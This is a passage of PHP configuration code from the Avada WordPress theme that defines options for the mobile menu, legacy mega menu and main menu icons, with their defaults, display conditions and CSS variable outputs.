secondary menu dropdown text.', 'Avada' ), 'id' => 'header_top_menu_sub_hover_color', 'default' => 'var(--awb-color4)', 'type' => 'color-alpha', 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v2', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v3', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v4', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v5', ], ], 'css_vars' => [ [ 'name' => '--header_top_menu_sub_hover_color', 'element' => '.fusion-secondary-menu', 'callback' => [ 'sanitize_color' ], ], ], ], ], ], 'heading_mobile_menu' => [ 'label' => esc_html__( 'Mobile Menu', 'Avada' ), 'id' => 'heading_mobile_menu', 'priority' => 6, 'type' => 'sub-section', 'hidden' => $has_global_header, 'fields' => [ 'no_responsive_mode_info_1' => ( '0' === Avada()->settings->get( 'dependencies_status' ) ) ? [] : [ 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: Please enable responsive mode. Mobile menus are only available when you\'re using the responsive mode. To enable it please go to the "Responsive" section and set the "Responsive Design" option to ON.', 'Avada' ) . '
', 'id' => 'no_responsive_mode_info_1', 'type' => 'custom', 'required' => [ [ 'setting' => 'responsive', 'operator' => '==', 'value' => '0', ], ], ], 'no_mobile_menu_note' => ( '0' === Avada()->settings->get( 'dependencies_status' ) ) ? [] : [ 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: Because of the design of your Header Layout #6, only a few options are available here. More options are available when using Header Layouts #1-5 or 7. The rest of the options for Header Layout #6 are on the Flyout Menu and Main Menu tab.', 'Avada' ) . '
', 'id' => 'no_mobile_menu_note', 'type' => 'custom', 'required' => [ [ 'setting' => 'header_layout', 'operator' => '==', 'value' => 'v6', ], [ 'setting' => 'header_position', 'operator' => '==', 'value' => 'top', ], ], ], 'mobile_menu_design' => [ 'label' => esc_html__( 'Mobile Menu Design Style', 'Avada' ), 'description' => esc_html__( 'Controls the design of the mobile menu. Flyout design style only allows parent level menu items.', 'Avada' ), 'id' => 'mobile_menu_design', 'default' => 'classic', 'type' => 'radio-buttonset', 'class' => 'fusion-gutter-and-or-and', 'choices' => [ 'classic' => esc_html__( 'Classic', 'Avada' ), 'modern' => esc_html__( 'Modern', 'Avada' ), 'flyout' => esc_html__( 'Flyout', 'Avada' ), ], 'required' => [ [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], ], 'output' => [ [ 'element' => 'body', 'function' => 'attr', 'attr' => 'class', 'value_pattern' => 'mobile-menu-design-$', 'remove_attrs' => [ 'mobile-menu-design-classic', 'mobile-menu-design-modern', 'mobile-menu-design-flyout' ], 'sanitize_callback' => '__return_empty_string', ], ], // Partial refresh for the header. 'partial_refresh' => [ 'mobile_menu_design_header_remove_before_hook' => [ 'selector' => '.avada-hook-before-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'mobile_menu_design_header_remove_after_hook' => [ 'selector' => '.avada-hook-after-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'mobile_menu_design_header' => [ 'selector' => '.fusion-header-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => 'header-rendered', ], ], ], 'mobile_menu_icons_top_margin' => [ 'label' => esc_html__( 'Mobile Menu Icons Top Margin', 'Avada' ), 'description' => esc_html__( 'Controls the top margin for the icons in the modern and flyout mobile menu design.', 'Avada' ), 'id' => 'mobile_menu_icons_top_margin', 'default' => '2', 'type' => 'slider', 'class' => 'fusion-gutter-and-and-or-and-and', 'choices' => [ 'min' => '0', 'max' => '200', 'step' => '1', ], 'required' => [ [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'mobile_menu_design', 'operator' => '!=', 'value' => 'classic', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'mobile_menu_design', 'operator' => '!=', 'value' => 'classic', ], [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], ], 'css_vars' => [ [ 'name' => '--mobile_menu_icons_top_margin', 'value_pattern' => '$px', ], ], ], 'mobile_menu_nav_height' => [ 'label' => esc_html__( 'Mobile Menu Dropdown Item Height', 'Avada' ), 'description' => esc_html__( 'Controls the height of each dropdown menu item.', 'Avada' ), 'id' => 'mobile_menu_nav_height', 'default' => '42', 'type' => 'slider', 'class' => 'fusion-gutter-and-and-or-and-and', 'choices' => [ 'min' => '0', 'max' => '200', 'step' => '1', ], 'required' => [ [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'mobile_menu_design', 'operator' => '!=', 'value' => 'flyout', ], [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], [ 'setting' => 'mobile_menu_design', 'operator' => '!=', 'value' => 'flyout', ], ], 'css_vars' => [ [ 'name' => '--mobile_menu_nav_height', 'value_pattern' => '$px', ], ], ], 'mobile_nav_submenu_slideout' => [ 'label' => esc_html__( 'Mobile Menu Dropdown Slide Outs', 'Avada' ), 'description' => esc_html__( 'Turn on to allow dropdown sections to slide out when tapped.', 'Avada' ), 'id' => 'mobile_nav_submenu_slideout', 'default' => '1', 'type' => 'switch', 'class' => 'fusion-gutter-and-and-or-and-and', 'required' => [ [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'mobile_menu_design', 'operator' => '!=', 'value' => 'flyout', ], [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], [ 'setting' => 'mobile_menu_design', 'operator' => '!=', 'value' => 'flyout', ], ], 'output' => [ // This is for the avadaMenuVars.submenu_slideout var. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'avadaMenuVars', 'id' => 'submenu_slideout', 'trigger' => [ 'fusionMobileMenu' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'mobile_menu_search' => [ 'label' => esc_html__( 'Display Mobile Menu Search Icon/Field', 'Avada' ), 'description' => esc_html__( 'Turn on to display the search icon/field in the mobile menu.', 'Avada' ), 'id' => 'mobile_menu_search', 'default' => '1', 'type' => 'switch', 'required' => [ [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], ], // Partial refresh for the header. 'partial_refresh' => [ 'mobile_menu_search_header_remove_before_hook' => [ 'selector' => '.avada-hook-before-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'mobile_menu_search_header_remove_after_hook' => [ 'selector' => '.avada-hook-after-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'mobile_menu_search_header' => [ 'selector' => '.fusion-header-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => 'header-rendered', ], ], ], 'mobile_menu_submenu_indicator' => [ 'label' => esc_html__( 'Mobile Menu Sub-Menu Indicator', 'Avada' ), 'description' => esc_html__( 'Turn on to display the mobile menu sub-menu indicator: "-".', 'Avada' ), 'id' => 'mobile_menu_submenu_indicator', 'default' => '1', 'type' => 'switch', 'required' => [ [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'mobile_menu_design', 'operator' => '!=', 'value' => 'flyout', ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'false' ], 'element' => '.fusion-mobile-nav-holder', 'className' => 'fusion-mobile-menu-indicator-hide', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'mobile_header_bg_color' => [ 'label' => esc_html__( 'Mobile Header Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color of the header on mobile devices.', 'Avada' ), 'id' => 'mobile_header_bg_color', 'default' => 'var(--awb-color1)', 'type' => 'color-alpha', 'required' => [ [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--mobile_header_bg_color', 'callback' => [ 'sanitize_color' ], ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'not-opaque' ], 'element' => 'html', 'className' => 'avada-mobile-header-color-not-opaque', ], ], 'sanitize_callback' => '__return_empty_string', ], ], 'update_callback' => [ [ 'condition' => 'is_archive', 'operator' => '===', 'value' => false, ], ], ], 'mobile_archive_header_bg_color' => [ 'label' => esc_html__( 'Mobile Archive Header Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color of the archive page header on mobile devices.', 'Avada' ), 'id' => 'mobile_archive_header_bg_color', 'type' => 'color-alpha', 'default' => 'var(--awb-color1)', 'required' => [ [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--mobile_header_bg_color', 'callback' => [ 'sanitize_color' ], ], ], 'update_callback' => [ [ 'condition' => 'is_archive', 'operator' => '===', 'value' => true, ], ], ], 'mobile_menu_background_color' => [ 'label' => esc_html__( 'Mobile Menu Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color of the mobile menu dropdown and classic mobile menu box.', 'Avada' ), 'id' => 'mobile_menu_background_color', 'default' => 'var(--awb-color1)', 'type' => 'color-alpha', 'class' => 'fusion-gutter-and-and-or-and-and', 'required' => [ [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'mobile_menu_design', 'operator' => '!=', 'value' => 'flyout', ], [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], [ 'setting' => 'mobile_menu_design', 'operator' => '!=', 'value' => 'flyout', ], ], 'css_vars' => [ [ 'name' => '--mobile_menu_background_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'mobile_menu_hover_color' => [ 'label' => esc_html__( 'Mobile Menu Background Hover Color', 'Avada' ), 'description' => esc_html__( 'Controls the background hover color of the mobile menu dropdown.', 'Avada' ), 'id' => 'mobile_menu_hover_color', 'default' => 'var(--awb-color1)', 'type' => 'color-alpha', 'class' => 'fusion-gutter-and-and-or-and-and', 'required' => [ [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'mobile_menu_design', 'operator' => '!=', 'value' => 'flyout', ], [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], [ 'setting' => 'mobile_menu_design', 'operator' => '!=', 'value' => 'flyout', ], ], 'css_vars' => [ [ 'name' => '--mobile_menu_hover_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'mobile_menu_border_color' => [ 'label' => esc_html__( 'Mobile Menu Border Color', 'Avada' ), 'description' => esc_html__( 'Controls the border and divider colors of the mobile menu dropdown and classic mobile menu box.', 'Avada' ), 'id' => 'mobile_menu_border_color', 'default' => 'var(--awb-color3)', 'type' => 'color-alpha', 'class' => 'fusion-gutter-and-and-or-and-and', 'required' => [ [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'mobile_menu_design', 'operator' => '!=', 'value' => 'flyout', ], [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], [ 'setting' => 'mobile_menu_design', 'operator' => '!=', 'value' => 'flyout', ], ], 'css_vars' => [ [ 'name' => '--mobile_menu_border_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'mobile_menu_toggle_color' => [ 'label' => esc_html__( 'Mobile Menu Toggle Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of the mobile menu toggle icon.', 'Avada' ), 'id' => 'mobile_menu_toggle_color', 'default' => 'var(--awb-color6)', 'type' => 'color-alpha', 'class' => 'fusion-gutter-and-and-or-and-and', 'required' => [ [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'mobile_menu_design', 'operator' => '!=', 'value' => 'flyout', ], [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], [ 'setting' => 'mobile_menu_design', 'operator' => '!=', 'value' => 'flyout', ], ], 'css_vars' => [ [ 'name' => '--mobile_menu_toggle_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'mobile_menu_typography_info' => [ 'label' => esc_html__( 'Mobile Menu Typography', 'Avada' ), 'description' => '', 'id' => 'mobile_menu_typography_info', 'type' => 'info', 'required' => [ [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], ], ], 'mobile_menu_typography' => [ 'id' => 'mobile_menu_typography', 'label' => esc_html__( 'Mobile Menu Typography', 'Avada' ), 'description' => esc_html__( 'These settings control the typography for mobile menu.', 'Avada' ), 'type' => 'typography', 'global' => true, 'text_transform_no_inherit' => true, 'class' => 'fusion-gutter-and-or-and', 'choices' => [ 'font-family' => true, 'font-size' => true, 'font-weight' => true, 'line-height' => true, 'letter-spacing' => true, 'color' => true, 'text-transform' => true, ], 'default' => [ 'font-family' => 'var(--awb-typography3-font-family)', 'font-size' => 'var(--awb-typography3-font-size)', 'font-weight' => '400', 'line-height' => 'var(--awb-typography3-line-height)', 'letter-spacing' => 'var(--awb-typography3-letter-spacing)', 'color' => 'var(--awb-color8)', 'text-transform' => 'none', ], 'required' => [ [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], ], 'css_vars' => [ [ 'name' => '--mobile_menu_typography-font-family', 'choice' => 'font-family', 'callback' => [ 'combined_font_family', 'mobile_menu_typography' ], ], [ 'name' => '--mobile_menu_typography-font-size', 'choice' => 'font-size', ], [ 'name' => '--mobile_menu_typography-font-weight', 'choice' => 'font-weight', 'callback' => [ 'font_weight_no_regular', '' ], ], [ 'name' => '--mobile_menu_typography-line-height', 'choice' => 'line-height', ], [ 'name' => '--mobile_menu_typography-letter-spacing', 'choice' => 'letter-spacing', 'callback' => [ 'maybe_append_px', '' ], ], [ 'name' => '--mobile_menu_typography-color', 'choice' => 'color', ], [ 'name' => '--mobile_menu_typography-font-style', 'choice' => 'font-style', ], [ 'name' => '--mobile_menu_typography-font-weight', 'choice' => 'font-weight', ], [ 'name' => '--mobile_menu_typography-text-transform', 'choice' => 'text-transform', ], [ 'name' => '--mobile_menu_typography-font-size-30-or-24px', 'choice' => 'font-size', 'callback' => [ 'conditional_return_value', [ 'value_pattern' => [ '30px', '24px' ], 'conditions' => [ [ 'mobile_menu_typography[font-size]', '>', '35' ], ], ], ], ], [ 'name' => '--mobile_menu_typography-font-size-open-submenu', 'choice' => 'font-size', 'callback' => [ 'conditional_return_value', [ 'value_pattern' => [ '20px', 'var(--mobile_menu_typography-font-size, 13px)' ], 'conditions' => [ [ 'mobile_menu_typography[font-size]', '>', '30' ], ], ], ], ], ], ], 'mobile_menu_font_hover_color' => [ 'label' => esc_html__( 'Mobile Menu Hover Color', 'Avada' ), 'description' => esc_html__( 'Controls the hover color of the mobile menu item. Also, used to highlight current mobile menu item.', 'Avada' ), 'id' => 'mobile_menu_font_hover_color', 'default' => 'var(--awb-color8)', 'type' => 'color-alpha', 'class' => 'fusion-gutter-and-or-and', 'required' => [ [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], ], 'css_vars' => [ [ 'name' => '--mobile_menu_font_hover_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'mobile_menu_text_align' => [ 'label' => esc_html__( 'Mobile Menu Text Align', 'Avada' ), 'description' => esc_html__( 'Controls the mobile menu text alignment.', 'Avada' ), 'id' => 'mobile_menu_text_align', 'default' => 'left', 'choices' => [ 'left' => esc_html__( 'Left', 'Avada' ), 'center' => esc_html__( 'Center', 'Avada' ), 'right' => esc_html__( 'Right', 'Avada' ), ], 'type' => 'radio-buttonset', 'class' => 'fusion-gutter-and-and-or-and-and', 'required' => [ [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'mobile_menu_design', 'operator' => '!=', 'value' => 'flyout', ], [ 'setting' => 'responsive', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], [ 'setting' => 'mobile_menu_design', 'operator' => '!=', 'value' => 'flyout', ], ], 'output' => [ ( class_exists( 'SitePress' ) ) ? [ 'element' => [ '.fusion-mobile-nav-holder .wpml-ls-item .menu-text', '.wpml-ls-item .menu-text, .wpml-ls-item .sub-menu a > span', '.fusion-mobile-nav-holder .wpml-ls-item > a' ], 'property' => 'justify-content', 'value_pattern' => 'center', 'exclude' => [ 'left', 'right' ], 'media_query' => 'fusion-max-sh-shbp', ] : [], ( class_exists( 'SitePress' ) ) ? [ 'element' => [ '.fusion-mobile-nav-holder .wpml-ls-item .menu-text', '.wpml-ls-item .menu-text, .wpml-ls-item .sub-menu a > span', '.fusion-mobile-nav-holder .wpml-ls-item > a' ], 'property' => 'justify-content', 'value_pattern' => ( is_rtl() ) ? 'flex-end' : 'flex-start', 'exclude' => [ 'center', 'right' ], 'media_query' => 'fusion-max-sh-shbp', ] : [], ( class_exists( 'SitePress' ) ) ? [ 'element' => [ '.fusion-mobile-nav-holder .wpml-ls-item .menu-text', '.wpml-ls-item .menu-text, .wpml-ls-item .sub-menu a > span', '.fusion-mobile-nav-holder .wpml-ls-item > a' ], 'property' => 'justify-content', 'value_pattern' => ( is_rtl() ) ? 'flex-start' : 'flex-end', 'exclude' => [ 'left', 'center' ], 'media_query' => 'fusion-max-sh-shbp', ] : [], [ 'element' => 'nav.fusion-mobile-nav-holder', 'function' => 'attr', 'attr' => 'class', 'value_pattern' => 'fusion-mobile-menu-text-align-$', 'remove_attrs' => [ 'fusion-mobile-menu-text-align-left', 'fusion-mobile-menu-text-align-center', 'fusion-mobile-menu-text-align-right' ], 'callback' => [ 'conditional_return_value', [ 'conditions' => [ [ 'mobile_menu_design', '!==', 'flyout' ], ], ], ], ], ], ], ], ], 'mega_menu_subsection' => [ 'label' => esc_html__( 'Legacy Mega Menu', 'Avada' ), 'id' => 'mega_menu_subsection', 'type' => 'sub-section', 'fields' => [ 'header_v6_used_note' => ( '0' === Avada()->settings->get( 'dependencies_status' ) ) ? [] : [ 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: Legacy Mega Menu Options are only available when using Header Layouts #1-5. Your current Header Layout #6 does not utilize the mega menu.', 'Avada' ) . '
', 'id' => 'header_v6_used_note', 'type' => 'custom', 'required' => [ [ 'setting' => 'header_layout', 'operator' => '==', 'value' => 'v6', ], ], ], 'legacy_mega_notice' => [ 'id' => 'legacy_mega_notice', 'label' => '', 'description' => sprintf( /* translators: %1$s: Avada library URL. */ '
' . __( 'IMPORTANT NOTE: For more flexibility and a modern, more performant Mega Menu setup, we recommend using the Library Mega Menus. To create a Mega Menu, visit the Avada Library.', 'Avada' ) . '
', admin_url( 'admin.php?page=avada-library' ) ), 'type' => 'custom', ], 'megamenu_disabled_note' => ( '0' === Avada()->settings->get( 'dependencies_status' ) ) ? [] : [ 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: Legacy Mega Menu is disabled in Advanced > Theme Features section. Please enable it to see the options.', 'Avada' ) . '
', 'id' => 'megamenu_disabled_note', 'type' => 'custom', 'required' => [ [ 'setting' => 'disable_megamenu', 'operator' => '=', 'value' => '0', ], ], ], 'megamenu_width' => [ 'label' => esc_html__( 'Legacy Mega Menu Wrapper Max Width', 'Avada' ), 'description' => esc_html__( 'Controls the max width of the legacy mega menu. On boxed side header layouts, "Viewport Width" will match "Site Width".', 'Avada' ), 'id' => 'megamenu_width', 'type' => 'radio-buttonset', 'default' => 'site_width', 'choices' => [ 'site_width' => esc_html__( 'Site Width', 'Avada' ), 'viewport_width' => esc_html__( '100% Width', 'Avada' ), 'custom_width' => esc_html__( 'Custom Width', 'Avada' ), ], 'required' => [ [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], [ 'setting' => 'disable_megamenu', 'operator' => '=', 'value' => '1', ], ], 'output' => [ // This is for the avadaMenuVars.megamenu_base_width var. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'avadaMenuVars', 'id' => 'megamenu_base_width', ], ], 'sanitize_callback' => '__return_empty_string', ], ], // See https://github.com/Theme-Fusion/Fusion-Builder/issues/4785. 'transport' => 'refresh', // Partial refresh for the header. 'partial_refresh' => [ 'megamenu_width_header_remove_before_hook' => [ 'selector' => '.avada-hook-before-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'megamenu_width_header_remove_after_hook' => [ 'selector' => '.avada-hook-after-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'mmegamenu_width_header' => [ 'selector' => '.fusion-header-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => 'header-rendered', ], ], ], 'megamenu_max_width' => [ 'label' => esc_html__( 'Legacy Mega Menu Max-Width', 'Avada' ), 'description' => esc_html__( 'Controls the max width of the legacy mega menu.', 'Avada' ), 'id' => 'megamenu_max_width', 'default' => '1200', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '4096', 'step' => '1', ], 'required' => [ [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], [ 'setting' => 'disable_megamenu', 'operator' => '=', 'value' => '1', ], [ 'setting' => 'megamenu_width', 'operator' => '=', 'value' => 'custom_width', ], ], // Partial refresh for the header. 'partial_refresh' => [ 'megamenu_max_width_header_remove_before_hook' => [ 'selector' => '.avada-hook-before-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'megamenu_max_width_header_remove_after_hook' => [ 'selector' => '.avada-hook-after-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'megamenu_max_width_header' => [ 'selector' => '.fusion-header-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => 'header-rendered', ], ], ], 'megamenu_interior_content_width' => [ 'label' => esc_html__( 'Legacy Mega Menu Interior Content Width', 'Avada' ), 'description' => esc_html__( 'For full width mega menus select if the interior menu content is contained to site width or 100% width.', 'Avada' ), 'id' => 'megamenu_interior_content_width', 'type' => 'radio-buttonset', 'default' => 'viewport_width', 'choices' => [ 'site_width' => esc_html__( 'Site Width', 'Avada' ), 'viewport_width' => esc_html__( '100% Width', 'Avada' ), ], 'required' => [ [ 'setting' => 'header_position', 'operator' => '=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], [ 'setting' => 'disable_megamenu', 'operator' => '=', 'value' => '1', ], [ 'setting' => 'megamenu_width', 'operator' => '=', 'value' => 'viewport_width', ], ], // Partial refresh for the header. 'partial_refresh' => [ 'megamenu_width_header_remove_before_hook' => [ 'selector' => '.avada-hook-before-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'megamenu_width_header_remove_after_hook' => [ 'selector' => '.avada-hook-after-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'mmegamenu_width_header' => [ 'selector' => '.fusion-header-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => 'header-rendered', ], ], ], 'megamenu_title_size' => [ 'label' => esc_html__( 'Legacy Mega Menu Column Title Size', 'Avada' ), 'description' => esc_html__( 'Controls the font size for mega menu column titles.', 'Avada' ), 'id' => 'megamenu_title_size', 'default' => '18px', 'hidden' => $has_global_header, 'type' => 'dimension', 'required' => [ [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], [ 'setting' => 'disable_megamenu', 'operator' => '=', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--megamenu_title_size', 'element' => '.fusion-megamenu-title', ], ], ], 'megamenu_item_vertical_padding' => [ 'label' => esc_html__( 'Legacy Mega Menu Dropdown Item Padding', 'Avada' ), 'description' => esc_html__( 'Controls the top/bottom padding for mega menu dropdown items.', 'Avada' ), 'id' => 'megamenu_item_vertical_padding', 'default' => '7', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '50', 'step' => '1', ], 'required' => [ [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], [ 'setting' => 'disable_megamenu', 'operator' => '=', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--megamenu_item_vertical_padding', 'element' => '.fusion-megamenu-submenu', 'value_pattern' => '$px', ], ], ], 'megamenu_item_display_divider' => [ 'label' => esc_html__( 'Legacy Mega Menu Item Divider', 'Avada' ), 'description' => esc_html__( 'Turn on to display a divider between mega menu dropdown items.', 'Avada' ), 'id' => 'megamenu_item_display_divider', 'default' => '0', 'type' => 'switch', 'required' => [ [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], [ 'setting' => 'disable_megamenu', 'operator' => '=', 'value' => '1', ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => 'body', 'className' => 'avada-has-megamenu-item-divider', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], ], ], 'menu_icons_subsection' => [ 'label' => esc_html__( 'Main Menu Icons', 'Avada' ), 'id' => 'menu_icons_subsection', 'type' => 'sub-section', 'hidden' => $has_global_header, 'fields' => [ 'menu_icons_note' => [ 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: Icons are available for both the main and dropdown menus. However, the options below only apply to the main menu. Dropdown menu icons do not use these options below, they follow the dropdown font size and color. The icons themselves can be added to your menu items in the Appearance > Menus section.', 'Avada' ) . '
', 'id' => 'menu_icons_note', 'type' => 'custom', ], 'menu_icon_position' => [ 'label' => esc_html__( 'Main Menu Icon Position', 'Avada' ), 'description' => esc_html__( 'Controls the main menu icon position.', 'Avada' ), 'id' => 'menu_icon_position', 'default' => 'left', 'choices' => [ 'top' => esc_html__( 'Top', 'Avada' ), 'right' => esc_html__( 'Right', 'Avada' ), 'bottom' => esc_html__( 'Bottom', 'Avada' ), 'left' => esc_html__( 'Left', 'Avada' ), ], 'type' => 'radio-buttonset', 'output' => [ [ 'element' => 'body', 'function' => 'attr', 'attr' => 'class', 'value_pattern' => 'avada-menu-icon-position-$', 'remove_attrs' => [ 'avada-menu-icon-position-top', 'avada-menu-icon-position-right', 'avada-menu-icon-position-bottom', 'avada-menu-icon-position-left' ], ], ], // Partial refresh for the header. 'partial_refresh' => [ 'menu_icon_position_header_remove_before_hook' => [ 'selector' => '.avada-hook-before-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'menu_icon_position_header_remove_after_hook' => [ 'selector' => '.avada-hook-after-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'menu_icon_position_header' => [ 'selector' => '.fusion-header-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => 'header-rendered', ], ], ], 'menu_icon_size' => [ 'label' => esc_html__( 'Main Menu Icon Size', 'Avada' ), 'description' => esc_html__( 'Controls the size of the top-level menu icons.', 'Avada' ), 'id' => 'menu_icon_size', 'default' => '14', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '100', 'step' => '1', ], 'css_vars' => [ [ 'name' => '--menu_icon_size', 'value_pattern' => '$px', ], ], ], 'menu_icon_color' => [ 'label' => esc_html__( 'Main Menu Icon Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of the top-level main menu icons.', 'Avada' ), 'id' => 'menu_icon_color', 'default' => 'var(--awb-color6)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--menu_icon_color', 'element' => '.fusion-megamenu-icon', 'callback' => [ 'sanitize_color' ], ], ], ], 'menu_icon_hover_color' => [ 'label' => esc_html__( 'Main Menu Icon Hover Color', 'Avada' ), 'description' => esc_html__( 'Controls the hover color of the top-level main menu icons.', 'Avada' ), 'id' => 'menu_icon_hover_color', 'default' => 'var(--awb-color4)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--menu_icon_hover_color', 'element' => '.fusion-megamenu-icon', 'callback' => [ 'sanitize_color' ], ], ], ], 'menu_thumbnail_size' => [ 'label' => esc_html__( 